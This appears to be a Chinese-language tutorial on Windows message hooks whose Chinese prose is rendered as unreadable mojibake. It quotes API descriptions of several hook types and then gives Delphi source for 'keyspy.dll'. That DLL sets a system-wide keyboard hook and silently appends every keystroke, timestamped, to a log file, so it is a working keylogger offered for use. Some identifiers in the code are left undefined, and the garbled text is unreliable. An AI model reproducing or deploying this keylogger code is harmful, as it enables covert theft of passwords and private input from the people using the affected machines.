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WindowsÌṩÁËHook»úÖÆ£¬¶¨ÒåΪ A callback function provided by an application that receives certain data before the normal recipient of the data. The hook function can thus examine or modify the data before passing it on.
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CALLWNDPROC £¬CALLWNDPROCRET £º The WH_CALLWNDPROC and WH_CALLWNDPROCRET hooks enable you to monitor messages sent to window procedures by the SendMessage function. Windows calls a WH_CALLWNDPROC hook procedure before passing the message to the receiving window procedure, and calls the WH_CALLWNDPROCRET hook procedure after the window procedure has processed the message.
CBT£º
Windows calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event from the system message queue; before setting the input focus; or before synchronizing with the system message queue. The value the hook procedure returns determines whether Windows allows or prevents one of these operations. The WH_CBT hook is intended primarily for computer-based training (CBT) applications.
KEYBOARD£º he WH_KEYBOARD hook enables an application to monitor message traffic for WM_KEYDOWN and WM_KEYUP messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input posted to a message queue.
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д¸öDLL¶¨ÒåһϺ¯Êý function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
procedure EntryPointProc(Reason: Integer); const hMapObject: THandle = 0; begin case reason of DLL_PROCESS_ATTACH: begin hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), '_CBT'); rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0); end;
DLL_PROCESS_DETACH: begin try UnMapViewOfFile(rHookRec); CloseHandle(hMapObject); except end; end; end; end;
procedure keyhookexit;far; begin if hNexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end;
function endkeyhook:bool;export; begin if hNexthookproc<>0 then begin unhookwindowshookex(hNexthookproc); hNexthookproc:=0; messagebeep(0); end; result:=hNexthookproc=0; MainHandle:=0; end;
function Setkeyhook:bool;export; begin hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0); result:=hNexthookproc<>0; end;
function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; var s:Tstringlist; begin
if icode<0 then begin result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam); exit; end; if lparam<0 then begin exit; end; s:=TStringlist.Create; if FileExists(afilename) then s.LoadFromFile(afilename);
//½«ÇôòµÄ¼üÅÌ×Ö·û±£´æµ½ÎļþÖÐ s.Add(formatdatetime('YYYYMMDD hh:nn:ss:zzz: ',now) + char(wParam) ); s.SaveToFile(afilename); s.Free; result:=0; end;
DllµÄProjectÎļþÖж¨ÒåÈçÏ exports setkeyhook index 1, endkeyhook index 2, SetMainHandle index 3;
begin
hNexthookproc:=0; procsaveexit:=exitproc; DllProc := @EntryPointProc; EntryPointProc(DLL_PROCESS_ATTACH); end.
ÕâÑùDLL¾Í¶¨ÒåºÃÁË£¬½ÓÏÂÀ´¾ÍÊÇ»¸ö½çÃæ function setkeyhook:bool;external 'keyspy.dll'; function endkeyhook:bool;external 'keyspy.dll'; procedure SetMainHandle(Handle: HWND); external 'keyspy.dll'; //¿ªÊ¼²¶»ñ¼üÅÌ
SetMainHandle(handle); setkeyhook //ÖÐÖ¹²¶»ñ¼üÅÌ endkeyhook
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